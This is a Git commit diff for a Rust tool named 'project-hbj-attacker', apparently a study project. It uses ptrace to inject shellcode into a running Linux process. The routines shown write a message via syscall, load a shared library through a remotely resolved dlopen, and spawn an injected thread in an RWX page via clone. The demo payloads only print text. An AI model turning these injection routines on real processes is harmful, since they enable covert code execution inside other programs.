acite/IntensiveReading
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

[feat] optimize

Browse Source
This commit is contained in:
rootacite
2025-10-23 22:36:22 +08:00
parent be401eeb15
commit 22173f034a
5 changed files with 486 additions and 165 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
01/project-hbj-attacker/src/helper.rs
View File

@@ -1,5 +1,6 @@
mod map;
mod processes;
mod asm;
pub use map::is_address_in_range;
pub use processes::get_pid_by_name;
@@ -8,4 +9,7 @@ pub use processes::write_memory_vm;
pub use processes::write_memory_ptrace;
pub use map::first_rw_segment;
pub use map::module_base_address;
pub use map::first_exec_segment;
pub use map::first_exec_segment;
pub use asm::assemble;
pub use processes::find_remote_proc;
pub use processes::wait;

12
01/project-hbj-attacker/src/helper/asm.rs Normal file
View File

@@ -0,0 +1,12 @@
use iced_x86::code_asm::asm_traits::CodeAsmJmp;
use iced_x86::{Instruction, code_asm::*};
pub fn assemble<F>(addr: u64, op: F) -> Result<Vec<u8>, Box<dyn std::error::Error>>
where
F: Fn(&mut CodeAssembler) -> Result<(), Box<dyn std::error::Error>>,
{
let mut asm = CodeAssembler::new(64)?;
_ = op(&mut asm);
Ok(asm.assemble(addr)?)
}

91
01/project-hbj-attacker/src/helper/processes.rs
View File

@@ -4,9 +4,44 @@ use std::fs;
use nix::sys::uio::{process_vm_readv, RemoteIoVec, process_vm_writev};
use nix::unistd::Pid;
use std::error::Error;
use std::ffi::CString;
use std::io::{IoSliceMut, IoSlice};
use nix::sys::ptrace;
use std::mem;
use libc::{dlsym, RTLD_NEXT};
use crate::helper::module_base_address;
use nix::sys::wait::{waitpid, WaitPidFlag, WaitStatus};
const GREEN: &str = "\x1b[32m";
const RESET: &str = "\x1b[0m";
pub fn wait(pid: Pid) -> Option<WaitStatus>
{
let f = waitpid(pid, Some(WaitPidFlag::WUNTRACED)).ok()?;
match f {
WaitStatus::Stopped(stopped_pid, signal) => {
println!("[DEBUG] PID {} stopped by signal: {:?}", stopped_pid, signal);
}
WaitStatus::Exited(exited_pid, status) => {
println!("[DEBUG] PID {} exited with status: {}", exited_pid, status);
}
WaitStatus::Signaled(signaled_pid, signal, core_dump) => {
println!("[DEBUG] PID {} killed by signal: {:?} (core dump: {})",
signaled_pid, signal, core_dump);
}
WaitStatus::Continued(continued_pid) => {
println!("[DEBUG] PID {} continued", continued_pid);
}
WaitStatus::StillAlive => {
println!("[DEBUG] PID {} still alive", pid);
}
_ => {}
}
Some(f)
}
fn list_processes() -> Result<HashMap<String, i32>, std::io::Error>
{
let mut processes = HashMap::<String, i32>::new();
@@ -86,7 +121,7 @@ pub fn write_memory_vm(pid: Pid, mut start_addr: usize, mut data: &[u8]) -> Resu
}
pub fn write_memory_ptrace(pid: Pid, start_addr: usize, data: &[u8]) -> Result<usize, Box<dyn Error>> {
let word_size = mem::size_of::<libc::c_long>();
let word_size = size_of::<libc::c_long>();
if word_size == 0 {
return Err("invalid word size".into());
}
@@ -137,11 +172,11 @@ fn write_unaligned_head(
}
fn write_full_word(pid: Pid, addr: usize, data: &[u8]) -> Result<usize, Box<dyn Error>> {
let mut arr = [0u8; mem::size_of::<libc::c_long>()];
let mut arr = [0u8; size_of::<libc::c_long>()];
arr.copy_from_slice(data);
let val = libc::c_long::from_ne_bytes(arr);
ptrace::write(pid, addr as *mut libc::c_void, val)?;
Ok(mem::size_of::<libc::c_long>())
Ok(size_of::<libc::c_long>())
}
fn write_unaligned_tail(
@@ -158,3 +193,53 @@ fn write_unaligned_tail(
ptrace::write(pid, addr as *mut libc::c_void, new_word)?;
Ok(data.len())
}
pub fn find_remote_proc(module: &str, symbol: &str, pid: Pid) -> Option<u64>
{
// Read our own process memory maps to find module base address
let self_maps = fs::read_to_string("/proc/self/maps").ok()?;
let self_map_lines = self_maps.lines().collect::<Vec<&str>>();
let symbol_offset: u64;
// Find module base address in our own process
let Some(module_base_local) = module_base_address(&self_map_lines, module) else {
return None;
};
println!("{GREEN}[local]{RESET} {module} base: {:#016x}", module_base_local);
// Use dlsym to get the address of symbol in our own process
unsafe {
let symbol_addr_local = dlsym(RTLD_NEXT, CString::new(symbol).unwrap().as_bytes_with_nul().as_ptr() as *const _);
// Calculate offset of symbol from module base in our process
symbol_offset = symbol_addr_local as u64 - module_base_local;
}
println!(
"{GREEN}[local]{RESET} {symbol} offset = {:#016x}",
symbol_offset
);
// Read target process memory maps to find its module base address
let target_maps = fs::read_to_string(format!("/proc/{}/maps", pid)).ok()?;
let target_map_lines = target_maps.lines().collect::<Vec<&str>>();
// Find module base address in target process
let Some(module_base_target) = module_base_address(&target_map_lines, module) else {
return None;
};
println!(
"{GREEN}[trace]{RESET} {module} base = {:#016x}",
module_base_target
);
// Calculate symbol address in target process using the same offset
let target_symbol_addr = module_base_target + symbol_offset;
println!(
"{GREEN}[trace]{RESET} {symbol} address = {:#016x}",
target_symbol_addr
);
Some(target_symbol_addr)
}

294
01/project-hbj-attacker/src/main.rs
View File

@@ -3,113 +3,64 @@
mod helper;
use nix::sys::ptrace;
use nix::sys::wait::waitpid;
use nix::unistd::Pid;
use std::arch::asm;
use std::ffi::CString;
use helper::*;
use iced_x86::code_asm::asm_traits::CodeAsmJmp;
use iced_x86::{Instruction, code_asm::*};
use libc::user_regs_struct;
use iced_x86::code_asm::{eax, r8, r9, r10, rax, rdi, rdx, rsi, rcx, rsp, rbp};
use libc::{RTLD_NEXT, c_void, dlsym};
use libc::{ptrace, user_regs_struct};
use std::fs;
use std::io::BufRead;
const GREEN: &str = "\x1b[32m";
const RESET: &str = "\x1b[0m";
fn inject1(
pid: Pid,
seg_rw: (u64, u64),
regs: user_regs_struct,
) -> Result<(), Box<dyn std::error::Error>> // Simple injection
fn inject1(pid: Pid, seg_rw: (u64, u64)) -> Result<(), Box<dyn std::error::Error>> // Simple injection
{
let regs = ptrace::getregs(pid)?;
let injected_data = "You are injected. \r\n";
write_memory_vm(pid, seg_rw.0 as usize, &injected_data.as_bytes())?;
println!(
"{GREEN}[trace]{RESET} write \"{}\" to {:#016x}",
injected_data, seg_rw.0
);
let mut asm = CodeAssembler::new(64)?;
let injected_inst = assemble(regs.rip as u64, |asm| {
asm.mov(rax, 1u64)?; // Syscall 1 (write)
asm.mov(rdi, 1u64)?; // Fd 1 (STDOUT)
asm.mov(rsi, seg_rw.0)?; // Buffer pointer (Here is rw segment in target)
asm.mov(rdx, injected_data.as_bytes().len() as u64)?; // Buffer length
asm.syscall()?; // Syscall interrupt
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
Ok(())
})?;
asm.mov(rax, 1u64)?; // Syscall 1 (write)
asm.mov(rdi, 1u64)?; // Fd 1 (STDOUT)
asm.mov(rsi, seg_rw.0)?; // Buffer pointer (Here is rw segment in target)
asm.mov(rdx, injected_data.as_bytes().len() as u64)?; // Buffer length
asm.syscall()?; // Syscall interrupt
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
let injected_inst = asm.assemble(regs.rip as u64)?;
write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?;
println!(
"{GREEN}[trace]{RESET} write instructions to {:#016x}",
regs.rip
);
// Continue target
ptrace::cont(pid, None)?;
waitpid(pid, None)?;
println!("{GREEN}[trace]{RESET} continue from {:#016x}", regs.rip);
wait(pid);
let regs = ptrace::getregs(pid)?;
println!("{GREEN}[trace]{RESET} int3 at {:#016x}", regs.rip);
Ok(())
}
fn inject2(
pid: Pid,
seg_rw: (u64, u64),
regs: user_regs_struct,
) -> Result<(), Box<dyn std::error::Error>> // ld injection
fn inject2(pid: Pid, seg_rw: (u64, u64)) -> Result<(), Box<dyn std::error::Error>> // ld injection
{
let regs = ptrace::getregs(pid)?;
// Get the absolute path to our shared library
let lib_path = fs::canonicalize("./target/debug/libproject_hbj_attacker.so")?
.to_string_lossy()
.into_owned();
let cpid = nix::unistd::getpid().to_string();
// Read our own process memory maps to find libc base address
let self_maps = fs::read_to_string(format!("/proc/{}/maps", cpid))?;
let self_map_lines = self_maps.lines().collect::<Vec<&str>>();
let mut dlopen_offset: u64 = 0;
// Find libc base address in our own process
let Some(libc_base_local) = module_base_address(&self_map_lines, "libc.so") else {
return Err(Box::new(std::io::Error::new(
std::io::ErrorKind::Other,
"libc not found",
)));
};
println!("{GREEN}[local]{RESET} libc base: {:#016x}", libc_base_local);
// Use dlsym to get the address of dlopen in our own process
unsafe {
let dlopen_addr_local = dlsym(RTLD_NEXT, b"dlopen\0".as_ptr() as *const _);
// Calculate offset of dlopen from libc base in our process
dlopen_offset = dlopen_addr_local as u64 - libc_base_local;
}
println!(
"{GREEN}[local]{RESET} dlopen offset = {:#016x}",
dlopen_offset
);
// Read target process memory maps to find its libc base address
let target_maps = fs::read_to_string(format!("/proc/{}/maps", pid))?;
let target_map_lines = target_maps.lines().collect::<Vec<&str>>();
// Find libc base address in target process
let Some(libc_base_target) = module_base_address(&target_map_lines, "libc.so") else {
return Err(Box::new(std::io::Error::new(
std::io::ErrorKind::Other,
"libc not found",
)));
};
println!(
"{GREEN}[trace]{RESET} libc base = {:#016x}",
libc_base_target
);
// Calculate dlopen address in target process using the same offset
let target_dlopen_addr = libc_base_target + dlopen_offset;
println!(
"{GREEN}[trace]{RESET} dlopen address = {:#016x}",
target_dlopen_addr
);
// Start Inject
let c_lib_path = CString::new(lib_path).unwrap();
@@ -120,13 +71,21 @@ fn inject2(
seg_rw.0
);
let mut asm = CodeAssembler::new(64)?;
asm.mov(rdi, seg_rw.0)?; // Param 1: Filename
asm.mov(rsi, 2u64)?; // Param 2: Flag, 2(RTLD_NOW)
asm.call(target_dlopen_addr)?; // Syscall interrupt
let Some(target_dlopen_addr) = find_remote_proc("libc.so", "dlopen", pid) else {
return Err(Box::new(std::io::Error::new(
std::io::ErrorKind::Other,
"first rw segment not found",
)));
};
let injected_inst = assemble(regs.rip as u64, |asm| {
asm.mov(rdi, seg_rw.0)?; // Param 1: Filename
asm.mov(rsi, 2u64)?; // Param 2: Flag, 2(RTLD_NOW)
asm.call(target_dlopen_addr)?; // Syscall interrupt
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
Ok(())
})?;
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
let injected_inst = asm.assemble(regs.rip as u64)?;
write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?;
println!(
"{GREEN}[trace]{RESET} write instructions to {:#016x}",
@@ -135,37 +94,38 @@ fn inject2(
// Continue target
ptrace::cont(pid, None)?;
println!("{GREEN}[trace]{RESET} running...");
waitpid(pid, None)?;
println!("{GREEN}[trace]{RESET} int3!");
println!("{GREEN}[trace]{RESET} continue from {:#016x}", regs.rip);
wait(pid);
let regs = ptrace::getregs(pid)?;
println!("{GREEN}[trace]{RESET} int3 at {:#016x}", regs.rip);
Ok(())
}
fn inject3(
pid: Pid,
seg_rw: (u64, u64),
regs: user_regs_struct,
) -> Result<(), Box<dyn std::error::Error>> // thread inject
fn inject3(pid: Pid, seg_rw: (u64, u64)) -> Result<(), Box<dyn std::error::Error>> // thread inject
{
let regs = ptrace::getregs(pid)?;
// Alloc rwx memory
let mut asm = CodeAssembler::new(64)?;
asm.mov(rax, 9u64)?; // Syscall 9 (mmap)
let injected_inst = assemble(regs.rip as u64, |asm| {
asm.mov(rax, 9u64)?; // Syscall 9 (mmap)
asm.mov(rdi, 0u64)?; // Addr
asm.mov(rsi, 4096u64)?; // Length, we alloc a page (4K)
asm.mov(
rdx,
(libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as u64,
)?; // Set protect to rwx
asm.mov(r10, (libc::MAP_SHARED | libc::MAP_ANONYMOUS) as u64)?; // Private and anonymous
asm.mov(r8, 01i64)?; // Fd (-1 because we want anonymous)
asm.mov(r9, 0u64)?; // Offset
asm.mov(rdi, 0u64)?; // Addr
asm.mov(rsi, 4096u64)?; // Length, we alloc a page (4K)
asm.mov(
rdx,
(libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as u64,
)?; // Set protect to rwx
asm.mov(r10, (libc::MAP_PRIVATE | libc::MAP_ANONYMOUS) as u64)?; // Private and anonymous
asm.mov(r8, 01i64)?; // Fd (-1 because we want anonymous)
asm.mov(r9, 0u64)?; // Offset
asm.syscall()?; // Syscall interrupt
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
asm.syscall()?; // Syscall interrupt
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
Ok(())
})?;
let injected_inst = asm.assemble(regs.rip as u64)?;
write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?;
println!(
"{GREEN}[trace]{RESET} write instructions to {:#016x}",
@@ -174,9 +134,13 @@ fn inject3(
// Continue target
ptrace::cont(pid, None)?;
println!("{GREEN}[trace]{RESET} running...");
waitpid(pid, None)?;
println!("{GREEN}[trace]{RESET} int3!");
println!("{GREEN}[trace]{RESET} continue from {:#016x}", regs.rip);
wait(pid);
println!(
"{GREEN}[trace]{RESET} int3 at {:#016x}",
ptrace::getregs(pid)?.rip
);
let regs_after_map = ptrace::getregs(pid)?;
let page_addr = regs_after_map.rax as usize;
@@ -185,67 +149,79 @@ fn inject3(
page_addr
);
let injected_data = "I am injected thread, I am running... \r\n";
write_memory_vm(pid, page_addr + 0x500, &injected_data.as_bytes())?;
write_memory_vm(pid, page_addr + 0x600, &1i64.to_le_bytes())?;
write_memory_vm(pid, page_addr + 0x608, &0u64.to_le_bytes())?;
let injected_data = "[%d] I am the injected thread, I am running... \r\n";
write_memory_vm(pid, page_addr + 0x200, &CString::new(injected_data).unwrap().as_bytes_with_nul())?;
write_memory_vm(pid, page_addr + 0x300, &1i64.to_le_bytes())?;
write_memory_vm(pid, page_addr + 0x308, &0u64.to_le_bytes())?;
let printf = find_remote_proc("libc.so", "printf", pid).unwrap();
asm = CodeAssembler::new(64)?;
// Construct inject payload
let mut target_label = asm.create_label();
let injected_payload = assemble(page_addr as u64, |asm| {
let mut target_label = asm.create_label();
asm.set_label(&mut target_label)?;
asm.mov(rax, 1u64)?; // Syscall 1 (write)
asm.mov(rdi, 1u64)?; // Fd 1 (STDOUT)
asm.mov(rsi, (page_addr + 0x500) as u64)?; // Buffer pointer (Here is page_addr + 0x500)
asm.mov(rdx, injected_data.as_bytes().len() as u64)?; // Buffer length
asm.syscall()?; // Syscall interrupt
asm.mov(rbp, rsp)?;
asm.mov(rcx, 0u64)?;
asm.set_label(&mut target_label)?;
asm.mov(rax, 35u64)?; // Syscall 35 (nano sleep)
asm.mov(rdi, (page_addr + 0x600) as u64)?; // Req
asm.mov(rsi, 0u64)?; //Rem
asm.syscall()?; // Syscall interrupt
asm.add(rcx, 1i32)?;
asm.push(rcx)?;
asm.jmp(target_label)?; // Jmp back to loop
asm.mov(rdi, (page_addr + 0x200) as u64)?;
asm.mov(rsi, rcx)?;
asm.call(printf)?;
let injected_payload = asm.assemble(page_addr as u64)?;
asm.mov(rax, 35u64)?; // Syscall 35 (nano sleep)
asm.mov(rdi, (page_addr + 0x300) as u64)?; // Req
asm.mov(rsi, 0u64)?; //Rem
asm.syscall()?; // Syscall interrupt
asm.pop(rcx)?;
asm.jmp(target_label)?; // Jmp back to loop
Ok(())
})?;
write_memory_vm(pid, page_addr, &injected_payload)?;
println!("{GREEN}[trace]{RESET} write payload to {:#016x}", page_addr);
// Start Trigger
let regs = ptrace::getregs(pid)?;
// ptrace::setregs(pid, regs)?;
asm = CodeAssembler::new(64)?;
let injected_trigger = assemble(regs.rip as u64, |asm| {
asm.mov(rax, 56u64)?; // Syscall 56 (clone)
asm.mov(rax, 56u64)?; // Syscall 56 (clone)
asm.mov(
rdi,
(libc::CLONE_VM
| libc::CLONE_FS
| libc::CLONE_FILES
| libc::CLONE_SIGHAND
| libc::CLONE_THREAD) as u64,
)?; // Flags
asm.mov(rsi, (page_addr + 0x1000) as u64)?; // Stack top
asm.mov(
rdi,
(libc::CLONE_VM
| libc::CLONE_FS
| libc::CLONE_FILES
| libc::CLONE_SIGHAND
| libc::CLONE_THREAD) as u64,
)?; // Flags
asm.mov(rsi, (page_addr + 0x800) as u64)?; // Stack top
asm.mov(rdx, 0u64)?; // parent_tid = NULL
asm.mov(r10, 0u64)?; // child_tid = NULL
asm.mov(r8, 0u64)?; // tls = NULL
asm.mov(rdx, 0u64)?; // parent_tid = NULL
asm.mov(r10, 0u64)?; // child_tid = NULL
asm.mov(r8, 0u64)?; // tls = NULL
asm.syscall()?; // Syscall interrupt
asm.test(eax, eax)?; // Syscall returns zero?
asm.jz(page_addr as u64)?;
asm.syscall()?; // Syscall interrupt
asm.test(eax, eax)?; // Syscall returns zero?
asm.jz(page_addr as u64)?;
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow
Ok(())
})?;
let injected_trigger = asm.assemble(regs.rip as u64)?;
write_memory_ptrace(pid, regs.rip as usize, &injected_trigger)?;
println!("{GREEN}[trace]{RESET} write trigger to {:#016x}", regs.rip);
// Continue target
ptrace::cont(pid, None)?;
waitpid(pid, None)?;
println!("{GREEN}[trace]{RESET} continue from {:#016x}", regs.rip);
wait(pid);
let regs = ptrace::getregs(pid)?;
println!("{GREEN}[trace]{RESET} int3 at {:#016x}", regs.rip);
Ok(())
}
@@ -282,9 +258,9 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
};
ptrace::attach(pid)?;
waitpid(pid, None)?;
wait(pid);
ptrace::step(pid, None)?;
waitpid(pid, None)?;
wait(pid);
// ↓ Old behavior, but maybe the process stay in their libraries forever ?
@@ -304,28 +280,24 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
// Save context
let regs = ptrace::getregs(pid)?; // Save current registers
let buffer = read_memory_vm(pid, seg_x.0 as usize, 128)?; // Save current memory context
let buffer_rw = read_memory_vm(pid, seg_rw.0 as usize, 128)?; // Save current rw memory
let buffer = read_memory_vm(pid, seg_x.0 as usize, 4096)?; // Save current memory context
let buffer_rw = read_memory_vm(pid, seg_rw.0 as usize, 4096)?; // Save current rw memory
println!("{GREEN}[trace]{RESET} Seg_x.0 is {:#016x}", seg_x.0);
write_memory_ptrace(pid, seg_x.0 as usize, &[0x90u8; 128])?;
ptrace::setregs(pid, user_regs_struct {
rip: seg_x.0,
..regs
})?;
// Do inject here
inject3(
write_memory_ptrace(pid, seg_x.0 as usize, &[0x90u8; 4096])?;
ptrace::setregs(
pid,
seg_rw,
user_regs_struct {
rip: seg_x.0,
..regs
},
)?;
// Do inject here
inject3(pid, seg_rw)?;
// End inject logics
// Restore context